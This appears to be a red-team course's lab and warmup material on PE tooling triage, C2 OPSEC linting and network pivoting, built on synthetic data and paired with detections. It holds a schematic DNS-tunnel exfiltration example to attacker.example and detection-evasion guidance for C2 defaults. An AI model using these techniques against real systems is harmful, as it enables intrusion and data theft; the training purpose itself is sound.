# Verify the reference solution passes all 14 tests:
LAB_MODULE=solution python3 -m pytest -q
# Run the analyzer against your notepad-derived dict:
python3 -c "
import solution, json
pe_metadata = {
'magic': 'MZ',
'machine': 'x86-64',
'timestamp': 1670000000,
'subsystem': 2,
'imports': [
('KERNEL32.dll', 'WriteFile'),
('KERNEL32.dll', 'ReadFile'),
('USER32.dll', 'MessageBoxW'),
],
'exports': [],
'pdb_path': '',
'sections': ['.text', '.data', '.rdata', '.rsrc'],
}
result = solution.analyze(pe_metadata)
print(json.dumps(result, indent=2))
"
Expected output includes:
file_type:"PE32+"imphash: the computed MD5 of the normalized import listopsec_flags: a list of flags (for notepad with no PDB and no suspicious imports, the list should be empty or minimal — which is the expected result for a hardened system binary)
Now try with a synthetic tool dict that has OPSEC noise:
# Add to the metadata:
pe_metadata_noisy = {
"magic": "MZ",
"machine": "x86-64",
"timestamp": 1710000000, # recent timestamp, not zeroed
"subsystem": 3,
"imports": [
("kernel32.dll", "VirtualAllocEx"),
("kernel32.dll", "WriteProcessMemory"),
("ntdll.dll", "NtCreateThreadEx"),
("ws2_32.dll", "WSAStartup"),
],
"exports": [{"name": "ReflectiveLoader", "rva": 0x1000}],
"pdb_path": "C:\\Users\\operator\\repos\\implant\\x64\\Release\\implant.pdb",
"sections": [".text", ".data", ".rdata"],
}
The analyzer should flag pdb_path_present and reflective_export_name as OPSEC indicators.
5. Run the OPSEC linter (Lab 02)
cd ../lab-02-tooling-ioc-opsec-linter
# Verify the reference solution passes all 15 tests:
LAB_MODULE=solution python3 -m pytest -q
# Run the linter against the synthetic tool inventory:
python3 -c "
import solution, json
inventory = [
{
'name': 'beacon-default',
'type': 'c2_agent',
'named_pipe': 'MSSE-4abc-server',
'user_agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)',
'beacon_uri': '/api/',
'sleep_seconds': 60,
'jitter_percent': 0,
'imphash': 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
'pdb_path_stripped': False,
'pdb_path': 'C:\\\\build\\\\implant.pdb',
}
]
known_bad_db = {} # no known-bad imphash entries for this fictional tool
results = solution.lint(inventory, known_bad_db)
for r in results:
print(json.dumps(r, indent=2))
"
Expected output: findings ranked HIGH→MEDIUM→LOW with detection descriptions:
HIGH:default_named_pipe— "MSSE-* pattern detected by Sysmon EID 17 + Sigma rule"HIGH:default_user_agent— "matches known Cobalt Strike default; proxy log detection"MEDIUM:pdb_path_present— "PDB path not stripped; extract with pefile/strings"MEDIUM:default_sleep_nojitter— "periodic 60s beacon; netflow periodic-connection detection"LOW:default_beacon_uri— "/api/ URI detected by proxy rule"
The noise score for this tool should be at least: 3 (named_pipe HIGH) + 3 (user_agent HIGH) + 2 (pdb MEDIUM) + 2 (sleep MEDIUM) + 1 (uri LOW) = 11.
6. Write the Sigma rule for the highest-noise finding
The highest-noise finding for the synthetic tool is default_named_pipe. Write the detection:
title: Default C2 Named Pipe — Known Pattern (MSSE)
id: f1e2d3c4-b5a6-7890-fedc-ba9876543210
status: experimental
description: >
A named pipe matching the default Cobalt Strike pipe-name pattern (MSSE-*-server) was created.
This indicates use of a C2 agent with the default profile. Should be customized in production;
this default is detected by multiple detection platforms.
references:
- https://attack.mitre.org/techniques/T1071/
logsource:
product: windows
category: pipe_created
detection:
selection:
PipeName|startswith: '\MSSE-'
condition: selection
falsepositives:
- None expected; this specific pattern is not used by legitimate software.
level: high
tags:
- attack.command_and_control
- attack.t1071
Load this rule into your Wazuh or Elastic detection engine. To verify it fires:
- On your range Windows VM, you can create a named pipe with a matching name using a PowerShell
one-liner (for range-only testing):
[System.IO.Pipes.NamedPipeServerStream]::new("MSSE-test-server") - Check Sysmon EID 17 in the event log for the pipe creation event.
- Confirm the Sigma rule generates an alert in your SIEM.
This demonstrates the detection fires on the pipe name, not on a binary hash — it survives any recompilation of the C2 agent as long as the profile default is unchanged.
7. The evidence packet
Collect and store in the range (not published):
- The
dumpbin/pefile/readelfoutput for the binary you analyzed. - The translated dict used as lab input.
- The Lab 01 analyzer output (file type, imphash, OPSEC flags).
- The Lab 02 linter output (ranked findings, noise score).
- The Sigma rule file.
- A screenshot or log of the Sysmon EID 17 event (the pipe-creation detection firing on range).
- A one-paragraph narrative: which binary was analyzed, which OPSEC findings were highest-impact, which detection was written, and what the detection keys on (the pipe name, not the hash).
This is the Phase 02 portfolio artifact: the FIN-LATTICE tooling triage for Operation Cedar Lattice.
8. Teardown
- Remove
pefilefrom any system Python install (uninstall from the range venv, not a shared env). - Delete the translated dicts and any binary copies that are not part of the evidence packet.
- If you ran the synthetic pipe-creation test on the Windows VM, close and remove the pipe server.
- Revert the range VM to its snapshot for the next exercise.
Common false claims
"I analyzed a real implant." In this exercise, you analyzed a legitimate system binary
(notepad.exe, python3) and a synthetic dict. The honest claim: "I applied the PE/ELF triage
methodology to a known-good binary, observing the same structural fields that appear in any binary,
and demonstrated the OPSEC linter against a fictional tool configuration."
"A clean OPSEC linter score means the tool is undetectable." The linter checks default-indicator hygiene. It does not assess behavioral (TTP-level) detectability. A perfectly hygiene-cleaned tool is still detectable via ETW-TI, kernel callbacks, and parent-child analysis. State this limitation in any OPSEC assessment you write.
"imphash detection is a meaningful control." It is a triage accelerator in DFIR; it is not a production detection control. The detection that matters is the behavioral IOC at the TTP layer. If a client asks whether to implement imphash-based blocking, the honest answer is: "it adds one recompile of friction; invest in behavioral detections at the same time."
"The Sysmon EID 17 rule is all we need." A named-pipe rule detects the default profile; a profile change evades it. The complete detection stack for a C2 agent includes the pipe rule (fast, brittle) plus the behavioral connection-from-unusual-process rule (slower, more durable) plus JA3 fingerprinting at the network layer (durable for a given TLS configuration). Document all three and their durability ratings.
Lab 01 — PE/ELF Format Analyzer
Parse synthetic binary metadata, compute imphash, classify tooling type, and extract OPSEC indicators from header fields.
What it builds
A static-analysis engine that ingests a dict representation of PE or ELF binary metadata and produces a structured triage report: file type, architecture, imphash (for PE), export function names, and a list of OPSEC indicator flags (PDB path present, reflective export name, timestamp not zeroed, suspicious subsystem).
Why it matters
Binary format triage is the first step in any DFIR tooling analysis and in any engagement-tool OPSEC review. The import table and debug directory are observable without executing the binary. Understanding which fields matter — and which detection each maps to — is the literacy this lab builds.
Files
| File | Purpose |
|---|---|
lab.py | Your implementation — fill in the TODO stubs |
solution.py | Reference implementation — all tests pass |
test_lab.py | Adversarial tests (run against both lab.py and solution.py) |
requirements.txt | pytest only — pure stdlib |
Running
# Verify the reference passes all 14 tests:
LAB_MODULE=solution python3 -m pytest -q
# Run against your implementation after filling in the TODOs:
python3 -m pytest -q
API
analyze(meta: dict) -> dict
# Returns: {file_type, imphash, exports, pdb_path, opsec_flags, architecture, subsystem}
compute_imphash(imports: list[tuple[str, str]]) -> str
# imports: [(dll_name, func_name), ...]
# Returns: MD5 hex of normalized comma-joined import list
extract_pdb_path(meta: dict) -> str | None
opsec_flags(meta: dict) -> list[str]
# Returns zero or more flags from:
# "pdb_path_present", "timestamp_not_zeroed", "reflective_export",
# "empty_import_table", "unusual_subsystem"
classify_file_type(meta: dict) -> str
# "PE32+" | "PE32" | "ELF64" | "ELF32" | "Unknown"
Lab 02 — Tooling IOC / OPSEC Linter
Check a tooling inventory against an OPSEC checklist and return ranked findings with detection descriptions and per-tool noise scores.
What it builds
An OPSEC linter that ingests a list of tool configuration dicts (C2 agents, loaders, utilities) and checks each against a weighted checklist of known-default indicators. Returns a ranked findings list (HIGH → MEDIUM → LOW) with detection descriptions and a numeric noise score per tool.
Why it matters
OPSEC hygiene is measurable. Every default indicator has a public detection rule. This lab turns the OPSEC assessment from "gut feel" into a ranked, actionable report — the kind that goes in a Mandiant engagement appendix.
Files
| File | Purpose |
|---|---|
lab.py | Your implementation — fill in the TODO stubs |
solution.py | Reference implementation — all tests pass |
test_lab.py | Adversarial tests |
requirements.txt | pytest only — pure stdlib |
Running
LAB_MODULE=solution python3 -m pytest -q # 15 tests
python3 -m pytest -q # your implementation
API
lint(inventory: list[dict], known_bad_imphash: dict) -> list[dict]
# Returns list of {tool_name, noise_score, findings: [{check, severity, detection}]}
# Sorted: highest noise_score first
highest_risk_tool(linted: list[dict]) -> str
# Returns the tool_name with the highest noise_score
noise_score(findings: list[dict]) -> int
# HIGH=3, MEDIUM=2, LOW=1; sum of all finding weights
check_named_pipe(tool: dict) -> dict | None
check_user_agent(tool: dict) -> dict | None
check_imphash(tool: dict, known_bad: dict) -> dict | None
check_pdb(tool: dict) -> dict | None
check_sleep_jitter(tool: dict) -> dict | None
check_beacon_uri(tool: dict) -> dict | None
Phase 03 — Network Attacks, Protocols & Pivoting
Operation Cedar Lattice, Phase 03. Phase 01 turned CTI on FIN-LATTICE into an ATT&CK-mapped emulation plan; Phase 02 built the toolkit. Now the engagement against Meridian Freight International moves onto the wire. This phase is the bridge from plan to foothold to internal map: you do external reconnaissance of Meridian's perimeter, land a foothold behind a field-office VPN, and build the internal pivot map — the reachability graph the rest of the engagement walks. And because this is a red team track, every step ends in the network telemetry that catches it: the netflow shape of a pivot, the entropy of a DNS tunnel, the proxy log of a beacon, the Zeek/Suricata signature of the scan.
The deliverable a real engagement produces here is not "we got a shell." It is an attack-path / pivot map of the internal network, the segmentation and egress controls that would have broken it, and the network detections the SOC should have fired — the artifact the privilege-escalation (P04) and Active Directory (P05) phases build on.
Safety. Authorized-lab only. Every lab in this phase is an analyzer / planner / graph-solver / detection-mapper over synthetic metadata — network graphs, firewall rules, flow records. There are no live targets, no scanning of real hosts, no tunneling tools, no weaponization. The labs are planners and policy-analyzers; every offensive concept ends in its detection / segmentation control. This is the same boundary as the security track's
offensive-methodology-mastery/(and directly extends its network-pivot-planner lab).
Why this phase exists
Every later phase assumes you can already move around a network. Privilege escalation (P04) needs a host to escalate on; the AD attack (P05) needs a path to the domain controller; the C2 phase (P08) needs an egress channel out. None of that is possible without the network layer: knowing what a protocol reveals, how reconnaissance maps an environment, how a pivot turns one foothold into reachability across a whole segment, and — critically — what each of those actions looks like to a network sensor.
This phase is also where the red teamer and the network defender become the same person. An attack-path planner and a segmentation-planning tool are the same graph algorithm. An egress allow-list is both the control that stops a beacon and the audit that finds the hole. The most valuable thing you take from Phase 03 is the habit of seeing every offensive network move and its detection at the same time — which is exactly what makes the knowledge hireable rather than merely dangerous.
Learning Objectives
By the end of this phase you can, without notes:
- Read the OSI / TCP-IP model and say, for each layer, what an attacker learns and what telemetry that layer produces (Ethernet/ARP, IP/ICMP, TCP/UDP, TLS, HTTP/DNS/SMB).
- Explain DNS end to end — recursion, record types, the resolver path — and how DNS is used three ways: as reconnaissance, as a covert channel (tunneling / C2), and as a detection surface (volume, entropy, NXDOMAIN bursts, query length).
- Describe the SMB / NTLM / Kerberos transports at the protocol level — enough to know what a relay, a coerced authentication, or a Kerberoast looks like on the wire and in the logs.
- Draw the line between passive and active reconnaissance, and state the legal/authorization boundary that separates research from an offense.
- Explain scanning theory: TCP state machine, why a SYN scan, the rate-vs-stealth tradeoff, and how a scan appears in netflow and IDS telemetry.
- Model pivoting and tunneling — SOCKS proxies, local / remote / dynamic port-forwarding, chisel/ligolo concepts — as reachability over a graph, and compute the path, the cost, and the choke point.
- Design network segmentation (VLANs, ACLs, zero-trust, microsegmentation) and egress filtering / allow-listing, and prove a policy blocks a given lateral path.
- Map each offensive network behavior to the telemetry that detects it — netflow shape, DNS volume/entropy, proxy logs, Zeek / Suricata — and write the detection.
The network layers and what each reveals (read the WARMUP for depth)
L7 HTTP/DNS/SMB application intent "who talks to whom, and what for?" → proxy/DNS/Zeek logs
L4 TCP/UDP ports, sessions, state "what services, what sessions?" → netflow, conn logs
L3 IP/ICMP addressing, routing "what hosts, what topology?" → flow records, routes
L2 Ethernet/ARP local adjacency "what is on my segment?" → ARP/switch telemetry
Each layer is an attacker's information source and a defender's sensor. The skill is holding both views at once.
Concepts
| Concept | What it is | Why it matters to the engagement |
|---|---|---|
| OSI / TCP-IP model | the layered network stack | tells you what each protocol reveals and which sensor sees it |
| DNS (recursion, records) | the name → address system | recon source, covert channel, and a rich detection surface |
| DNS tunneling / C2 | data smuggled in DNS queries | a stealthy egress channel — and an entropy/volume detection |
| SMB / NTLM / Kerberos | Windows file + auth transports | the protocols lateral movement and relay attacks ride on |
| ARP / L2 adjacency | local-segment address resolution | the basis of on-path positioning and segment mapping |
| Passive vs active recon | observe vs interact with the target | the authorization line between research and an offense |
| Scanning theory | TCP states, SYN scan, rate vs stealth | how reachability is discovered — and how a scan is detected |
| Pivoting / tunneling | SOCKS, local/remote/dynamic forwards | turning one foothold into reachability across a segment |
| Reachability graph | hosts + credential/route edges | the model an attack-path planner and a defender both use |
| Network segmentation | VLANs, ACLs, zero-trust, microseg | the control that turns the flat network into a broken graph |
| Egress filtering / allow-listing | deny-by-default outbound + a proxy | the control that catches beacons and exfil |
| Choke point | a host/segment whose removal cuts the path | the defender's highest-leverage cut |
| Network telemetry | netflow, DNS, proxy, Zeek, Suricata | the sensors that catch each network behavior |
Labs
| Lab | Builds | Lens |
|---|---|---|
| Lab 01 — Pivot / Attack-Path Planner | model the internal network as a graph; compute blast radius (BFS), the quietest route (Dijkstra over detection-risk cost), and the choke points a defender cuts (node-removal min-cut) | pivoting as graph reachability |
| Lab 02 — Segmentation & Egress-Filtering Analyzer | evaluate flows against a firewall ruleset (deny-by-default), flag over-permissive rules (any-any, broad C2 egress), prove a policy blocks a lateral path, and emit egress-allow-list recommendations | segmentation & egress as policy over a graph |
The two labs compose: Lab 01 finds the lateral path and the choke point; Lab 02 decides whether the segmentation policy blocks that path and turns the choke point into a firewall rule and an egress allow-list. Together they are the attacker's planner and the defender's control over the same graph.
Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py,
adversarial test_lab.py, README.md, requirements.txt — pure Python (stdlib + pytest), offline,
deterministic, with the detection pairing built in.
cd lab-01-pivot-attack-path-planner
LAB_MODULE=solution pytest -q # reference passes (17 tests)
pytest -q # your implementation after the TODOs
cd ../lab-02-segmentation-egress-analyzer
LAB_MODULE=solution pytest -q # reference passes (20 tests)
Deliverables
- A pivot / attack-path planner that, given Meridian's internal reachability graph and a foothold, computes the set of reachable hosts, the cheapest (quietest) path to a crown jewel, and the choke points whose removal disconnects the foothold from the target.
- A segmentation & egress analyzer that evaluates flows against a firewall ruleset, flags over-permissive and broad-egress (likely-C2) rules, proves whether a proposed segmentation policy blocks a lateral path, and emits egress-allow-list recommendations.
- The Operation Cedar Lattice Phase 03 artifact: the internal pivot map (foothold → crown jewels), the choke-point list, the segmentation + egress policy that breaks the path, and the network detections (netflow, DNS-entropy, proxy, Zeek/Suricata) that should have fired — all over synthetic metadata.
- The fluency to explain DNS, SMB/NTLM/Kerberos transports, scanning theory, and pivoting in an interview, and to pair every network attack with its telemetry and control.
Readings (primary sources)
- The TCP/IP Guide (Kozierok) — the protocol reference for this phase.
- RFC 1034 / 1035 (DNS concepts + implementation), RFC 9293 (TCP), RFC 826 (ARP), RFC 9110 (HTTP semantics), RFC 4120 (Kerberos), RFC 1928 (SOCKS5).
- MITRE ATT&CK network techniques: Network Service Discovery (T1046), Remote System Discovery (T1018), Remote Services (T1021), Internal/External Proxy (T1090), Protocol Tunneling (T1572), Application-Layer Protocol C2 (T1071), Non-Standard Port (T1571), Exfiltration Over C2 (T1041), DNS (T1071.004), Adversary-in-the-Middle / LLMNR-NBT-NS / ARP (T1557).
- Zeek documentation (
conn,dns,http,ssl,noticelogs) and Suricata rules docs. - MITRE D3FEND for the defensive mapping; NIST SP 800-207 (Zero Trust Architecture).
- Conference talks on DNS tunneling detection and netflow-based lateral-movement hunting.
Common Mistakes
- Treating reachability as a list, not a graph. "These hosts are reachable" misses the path, the cost, and — crucially — the choke point. The graph is the deliverable (Lab 01).
- Optimizing for fewest hops instead of least noise. The shortest path is often the loudest. The cheapest path (Dijkstra over detection-risk) is the one an operator takes and the one to instrument.
- Scanning at full rate "to be fast." Aggressive scans light up every IDS. Rate-vs-stealth is a deliberate OPSEC choice, and the scan's netflow signature is a detection (WARMUP Ch. 5, 10).
- Forgetting that a pivot is loud. A SOCKS proxy through a jump host produces an east-west netflow fan-out and many short multiplexed connections from one source — a textbook detection.
- Allowing broad egress.
any-anyoutbound and odd-port internet egress are how beacons get home. Deny-by-default egress + an allow-list + a proxy is the single highest-leverage network control. - Mapping an attack but never the detection. A pivot map without its netflow/DNS/proxy/Zeek detection is half the work — and fails this track's detection-pairing bar.
- Crossing the authorization line in recon. Passive OSINT is not active scanning. Never test a host because it is reachable; the boundary is written authorization (WARMUP Ch. 4).
Interview Questions
- Walk the TCP three-way handshake and the TCP state machine. Why does a SYN scan work, what does it leave half-open, and how does a defender detect it?
- Explain DNS resolution end to end. How is DNS used for reconnaissance, as a covert C2/tunnel, and as a detection surface — and what exactly do you measure to catch a tunnel?
- What is a pivot? Compare local, remote, and dynamic (SOCKS) port-forwarding, and explain why a pivot is "just reachability over a graph." How does each appear in netflow?
- Given a foothold and a target, how do you find the quietest path, and how does a defender find the choke point? Why are those the same algorithm?
- Design the network segmentation and egress filtering that would stop a lateral path from a VPN foothold to a database. What does deny-by-default egress + an allow-list actually buy you?
- What does SMB/NTLM authentication look like on the wire and in the logs, and what makes an NTLM relay or a coerced authentication detectable?
- You suspect C2 in a netflow + DNS + proxy dataset but have no malware sample. What signals do you hunt — beacon periodicity, JA3/JA4, DNS entropy, long connections to rare destinations — and which costs the adversary the most to evade (Pyramid of Pain)?
- What is the difference between passive and active reconnaissance, and where exactly is the legal/ authorization line?
(Full principal-level answers are in WARMUP.md.)
Portfolio artifact
The Operation Cedar Lattice Phase 03 network package: the internal pivot map (Lab 01 output —
foothold → reachable hosts → cheapest path to the ERP database and the domain controller, with the
choke-point list); the segmentation + egress policy (Lab 02 output — the firewall ruleset that
blocks the path, the over-permissive findings, and the egress allow-list); and the network-detection
matrix pairing each offensive step (recon, scan, pivot, DNS tunnel, beacon) with the netflow / DNS /
proxy / Zeek / Suricata telemetry that catches it — all over synthetic metadata, no real targets, no
weaponization. This is 03-network-and-pivoting/ in the
capstone portfolio.
Guides
- WARMUP.md — the from-zero deep dive: the OSI/TCP-IP model, DNS, SMB/NTLM/Kerberos transports, recon and the legal line, scanning theory, pivoting & tunneling as graph reachability, segmentation, egress filtering, and the network telemetry that detects each.
- HITCHHIKERS-GUIDE.md — the operator's range walkthrough: on an owned isolated range, map the topology, build a pivot through a multi-homed host, stand up a SOCKS proxy, observe the netflow/DNS it generates, then add a segmentation ACL + egress allow-list that breaks it, and write the Zeek/Suricata detection.
Warmup Guide — Network Attacks, Protocols, Pivoting, and the Telemetry That Catches Them
Zero-to-principal primer for Phase 03. It builds every concept the phase depends on from first principles: the OSI / TCP-IP model and what each layer reveals; DNS end to end (recursion, records, DNS as recon and as a covert channel); the SMB / NTLM / Kerberos transports; reconnaissance and the legal line; scanning theory (TCP states, SYN scan, rate vs stealth); pivoting and tunneling (SOCKS, local/remote/dynamic forwarding) modeled as reachability over a graph; network segmentation (VLANs, ACLs, zero-trust, microsegmentation); egress filtering and allow-listing; and the network telemetry (netflow, DNS logs, proxy logs, Zeek, Suricata) that detects each. It assumes only that you can write software and have read Phase 00's authorization boundary. By the end you can read any network move through the attacker's and the defender's eyes at once.
Safety frame (not optional). This is the network attacker's playbook taught for authorized emulation and defense. Everything here reasons over synthetic metadata; every offensive concept ends in its detection / segmentation control. The difference between a red teamer and a criminal is authorization and intent, not knowledge (Phase 00). Nothing here scans, tunnels through, or touches a host you do not own.
Table of Contents
- Chapter 1: The OSI / TCP-IP Model — What Each Layer Reveals
- Chapter 2: DNS — Resolution, Records, Recon, and the Covert Channel
- Chapter 3: SMB, NTLM, and Kerberos Transports
- Chapter 4: Reconnaissance — Passive vs Active, and the Legal Line
- Chapter 5: Scanning Theory — TCP States, SYN Scans, Rate vs Stealth
- Chapter 6: Lateral Movement as Reachability Over a Graph
- Chapter 7: Pivoting and Tunneling — SOCKS, Port-Forwarding, chisel/ligolo
- Chapter 8: Network Segmentation — VLANs, ACLs, Zero-Trust, Microsegmentation
- Chapter 9: Egress Filtering and Allow-Listing
- Chapter 10: Network Telemetry — Netflow, DNS, Proxy, Zeek, Suricata
- Lab Walkthrough Guidance
- Success Criteria
- Common Mistakes and OPSEC Failures
- Interview Q&A
- References
Chapter 1: The OSI / TCP-IP Model — What Each Layer Reveals
Zero background. When one computer talks to another, the message is wrapped in layers, like an envelope inside an envelope inside an envelope. Each layer adds its own header so a different piece of networking equipment can do its job and hand the rest along. The OSI model names seven such layers; the TCP/IP model (the one the internet actually runs) collapses them into four. You do not need to worship the seven-layer chart, but you must internalize one idea: every layer is both a thing an attacker learns from and a thing a defender can watch.
What it is. Here is the practical stack, top (application) to bottom (wire), with the attacker/defender view fused:
| TCP/IP layer | OSI rough match | Example protocols | What an attacker learns | What telemetry it emits |
|---|---|---|---|---|
| Application | L5–L7 | HTTP, DNS, SMB, TLS | who talks to whom and for what; banners, versions, names | proxy logs, DNS logs, Zeek http/dns/ssl |
| Transport | L4 | TCP, UDP | which ports/services are open; session state | netflow, Zeek conn, firewall logs |
| Internet | L3 | IP, ICMP | which hosts exist; topology, routing, TTL fingerprints | flow records, router/route data, ICMP logs |
| Link | L2 | Ethernet, ARP, VLAN tags | what is on my local segment; MACs, gateways | switch/ARP tables, span-port capture |
Why it exists. Layering lets each part of the network evolve independently — you can swap Wi-Fi for Ethernet (L2) without rewriting HTTP (L7). For us, layering is a map of information: a question like "what hosts exist?" is answered at L3; "what services run?" at L4; "what are they actually doing?" at L7. Knowing the layer tells you both how to learn the answer and which sensor will see you ask.
Under the hood — encapsulation. A single HTTPS request to erp.meridian.example is wrapped like
this on the wire (each layer prepends a header):
[ Ethernet header | IP header | TCP header | TLS record | HTTP request ] payload
src/dst MAC src/dst IP src/dst encrypted GET /...
(L2) (L3) port (L4) (L6/7) (L7, if no TLS)
A defender's sensor reads exactly the layers it sits at. A netflow collector sees the IP/TCP headers (who, to whom, which port, how many bytes, how long) but not the HTTP body. A proxy terminates TLS and sees the URL and headers. Zeek parses all the layers it can and writes one log per protocol. This is why "the attacker hid in TLS" and "the SOC still caught the beacon in netflow" are both true at once: encryption hides L7, not L3/L4 metadata.
Telemetry it emits. Every layer leaves a record (right-hand column above). The principal-level habit is to ask, for any action: which layer does this touch, and therefore which log will it appear in? A DNS tunnel hides in L7 DNS but screams in L7 DNS logs (volume, entropy). A port scan hides nothing at L4 — it is loud in netflow by construction.
How a defender detects it. The defender instruments per layer: ARP/switch monitoring (L2), flow records (L3/L4), proxy + DNS + Zeek protocol logs (L7). The art is correlation across layers — a single L7 DNS anomaly is noise; a DNS anomaly plus an L4 beacon plus an L3 connection to a rare destination is an incident.
Engagement significance. In Operation Cedar Lattice, you will reason at every layer: ARP for on-segment positioning (L2), IP/port reachability for the pivot graph (L3/L4), DNS/HTTP/SMB for recon and C2 (L7). The pivot map (Lab 01) is fundamentally an L3/L4 reachability model; the egress policy (Lab 02) is an L3/L4/L7 filter.
Common misconception. "TLS makes traffic invisible." No — TLS encrypts the L7 content, not the L3/L4 metadata (who, whom, port, size, timing) or the TLS handshake fingerprint (JA3/JA4, SNI). Most network detection lives in exactly the metadata TLS does not hide.
Chapter 2: DNS — Resolution, Records, Recon, and the Covert Channel
Zero background. Computers route by IP address (192.0.2.10), but humans use names
(erp.meridian.example). DNS (the Domain Name System) is the distributed phone book that turns a
name into an address. It is the single most important protocol in this phase because it is used three
completely different ways: as the plumbing every connection needs, as a reconnaissance source,
and as a covert channel — and it is one of the richest detection surfaces a defender has.
What it is — resolution end to end. When a host resolves erp.meridian.example:
client ── "A erp.meridian.example?" ──► recursive resolver (the host's configured DNS server)
│ (cache miss → it does the walking:)
├─► root server → "ask the .example TLD servers"
├─► .example TLD → "ask meridian.example's name servers"
└─► meridian.example → "erp = 192.0.2.10" (authoritative)
client ◄──────────── "erp.meridian.example = 192.0.2.10" ───────┘
The recursive resolver does the legwork and caches the answer for its TTL (time-to-live). The authoritative servers are the source of truth for a zone. This recursion is the mechanism a tunnel abuses (below).
Record types you must know:
| Record | Means | Recon value |
|---|---|---|
A / AAAA | name → IPv4 / IPv6 | maps hosts to addresses |
MX | mail exchanger | finds the mail infrastructure (phishing target) |
NS | name servers | who is authoritative; provider fingerprint |
TXT | free text (SPF/DKIM/DMARC, verifications) | email-auth posture, SaaS in use |
CNAME | alias | reveals cloud/CDN/SaaS dependencies |
PTR | IP → name (reverse) | enumerate a netblock's naming |
SOA | zone metadata | the zone's authoritative parameters |
Why it exists. A flat global host table cannot scale; DNS distributes authority (each org runs its own zone) and caches aggressively. That distribution and caching are exactly what make DNS a useful recon source (anyone can query public records) and a stealthy channel (queries traverse the org's own resolver out to the internet by design).
Under the hood — DNS as reconnaissance (passive, mostly legal). You can learn a great deal about Meridian without touching its hosts, by querying public DNS and aggregators:
- Subdomain enumeration —
vpn.,mail.,dev.,erp.reveal the attack surface. - Passive DNS — historical name→IP mappings from third-party datasets (no query to the target).
- Certificate transparency — every TLS cert is logged publicly; CT logs leak subdomains.
MX/TXT— mail infra and the SPF/DKIM/DMARC posture that Phase 10 phishing depends on.
A zone transfer (AXFR) — asking an authoritative server to dump the entire zone — is the loud,
active version; a misconfigured server that answers AXFR to anyone hands over the whole map. That
crosses from passive observation into interaction (Chapter 4).
Under the hood — DNS as a covert channel (tunneling / C2). Because a host's DNS queries are
allowed out by default (almost every egress policy permits udp/53 or DNS over the resolver), DNS
becomes an exfiltration and command channel. The trick: encode data into the name being queried.
exfil: base32(secret-chunk-1).tunnel.attacker.example → resolver → attacker's authoritative NS
base32(secret-chunk-2).tunnel.attacker.example (logs each label = receives the data)
C2: the attacker's NS answers with TXT/CNAME records that encode commands back to the implant
Each query smuggles a few bytes in the subdomain label; the attacker controls the authoritative name
server for attacker.example, so it receives every label and answers with instructions. This is
slow and chatty but works through almost any firewall — which is exactly why it is detectable.
Telemetry it emits. DNS tunneling and DNS recon leave a loud signature:
- Query volume — a host making thousands of DNS queries to one zone is abnormal.
- Name entropy / length —
base32-encoded labels look random and are long; legitimate names are short and dictionary-like. High Shannon entropy per label is a strong signal. - Record-type mix — heavy
TXT/NULL/CNAMEtraffic to one domain is unusual. - NXDOMAIN bursts — domain-generation-algorithm (DGA) C2 produces many failed lookups.
- Many unique subdomains under one parent — the tunnel's signature.
How a defender detects it. Zeek's dns.log (every query, response, record type, length) feeds a
detection: alert on per-host query rate to a single zone, mean label entropy above a threshold, unusual
record-type ratios, and unique-subdomain count. The control is to force all DNS through the
enterprise resolver, log it, and block direct udp/53 egress — so there is no path to an external
authoritative server except through a sensor.
Engagement significance. DNS is the egress channel of last resort and the recon source of first resort. In Operation Cedar Lattice you map Meridian's external surface via DNS/CT (Phase 03 recon), and the C2 phase (Phase 08) returns to DNS as a channel — both ending in the DNS-entropy detection.
Common misconceptions. "DNS is just name lookups, low risk." DNS is a bidirectional, allowed-out, loggable channel — high recon value and a real covert channel. "If I tunnel over DNS I am invisible." DNS tunneling is one of the most detectable channels because the encoded names are statistically obvious; it trades reachability for stealth.
Chapter 3: SMB, NTLM, and Kerberos Transports
Zero background. Inside a Windows enterprise like Meridian's, hosts share files, run remote administration, and authenticate users constantly. SMB (Server Message Block) is the file/IPC protocol; NTLM and Kerberos are the two authentication protocols those services use. You will meet these in depth in Phase 05 (Active Directory); here you learn just enough to recognize each on the wire and in the logs — because lateral movement rides on them.
What they are.
- SMB (
tcp/445) — file shares, named pipes, remote service control. It is the transport for many remote-execution and lateral-movement techniques (admin shares, service creation, named-pipe C2). - NTLM — a challenge/response authentication protocol. The server sends a challenge; the client proves it knows the password hash by responding. Crucially, NTLM authentication can be relayed: if an attacker can make a victim authenticate to them, they can forward that authentication to a third server and act as the victim.
- Kerberos (
tcp/88) — a ticket-based authentication protocol. A client gets a TGT (ticket-granting ticket) from the KDC (the domain controller), then exchanges it for service tickets (TGS) to specific services. Service tickets are encrypted with the service account's key — which is what makes Kerberoasting possible (crack the ticket offline to recover a weak service password).
Why they exist. Enterprises need single sign-on and centralized identity. Kerberos provides it properly (mutual auth, time-bounded tickets, no password on the wire). NTLM is the older fallback, still everywhere, and weaker — which is why so many attacks target it.
Under the hood — what each looks like (the parts that matter here):
NTLM relay: victim ──auth──► attacker (poses as a server)
attacker ──relays the auth──► target server → acts as victim
trigger: LLMNR/NBT-NS poisoning, or "coerced auth" (force victim to authenticate)
Kerberoast: attacker ──"give me a TGS for service X"──► KDC
KDC returns a TGS encrypted with service X's account key
attacker cracks it OFFLINE → recovers service X's password
These are deep Phase-05 topics. The Phase-03 takeaway is the network/transport shape: NTLM relay
needs the attacker on-path or able to coerce auth (an L2/L3 position — segmentation matters);
Kerberoasting is a normal-looking tcp/88 exchange whose tell is the encryption type (a flood of
RC4 TGS-REQ/TGS-REP) in the logs.
Telemetry it emits.
- SMB lateral movement → Windows logon EID 4624 type 3 (network logon), SMB session telemetry,
Zeek
smb/dce_rpclogs, named-pipe creation. - NTLM relay / poisoning → LLMNR/NBT-NS responder traffic on the segment (L2/L3), unusual authentications from one source to many targets.
- Kerberoast → EID 4769 (TGS requested) with RC4 encryption type and many services from one user in a short window.
How a defender detects it. Disable LLMNR/NBT-NS (removes the relay trigger); require SMB signing
(breaks relay); alert on 4769 RC4 bursts; segment so an attacker cannot reach the broadcast domain to
poison it. The network-layer control here is segmentation (Chapter 8): a relay/poisoning attack
needs reachability to its victims.
Engagement significance. Lateral movement in Meridian's Windows estate (Phase 05) is built on these transports. Phase 03's contribution is the reachability and segmentation that decide whether the attacker can even reach the hosts to ride SMB/NTLM/Kerberos at all — which is exactly what Labs 01–02 model.
